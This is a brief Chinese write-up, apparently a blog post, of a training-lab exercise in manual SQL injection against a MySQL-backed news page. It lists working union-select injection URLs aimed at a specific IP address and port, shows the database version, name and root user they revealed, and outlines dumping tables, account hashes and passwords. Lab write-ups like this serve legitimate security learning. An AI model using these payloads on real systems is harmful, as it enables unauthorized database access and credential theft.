墨者 SQL手工注入漏洞测试(MySQL数据库)
- 测试注入点
不显示,说明存在注入点
- order by
http://124.70.64.48:40014/new_list.php?id=1%20order%20by%205
报错猜解准备
http://124.70.64.48:40014/new_list.php?id=-1%20union%20select%201,2,3,4
- 查询信息(联合注入)(注意 id=后面需要用个错误的值,如-1)(version(),user(),database(),@@version_compile_os)
http://124.70.64.48:40014/new_list.php?id=-1%20union%20select%201,version(),database(),4
得到其信息分别为:
version() 5.7.22-0ubuntu0.16.04.1
database() mozhe_Discuz_StormGroup
user() root@localhost
@@version_compile_os Linux
- 查表得(StormGroup_member,notice)
5.查列得(id,name,password,status)
6.查具体信息得账号密码,密码需MD5解密,然后登录后得key
7.emmm,最后登录不上去
评论系统未开启,无法评论!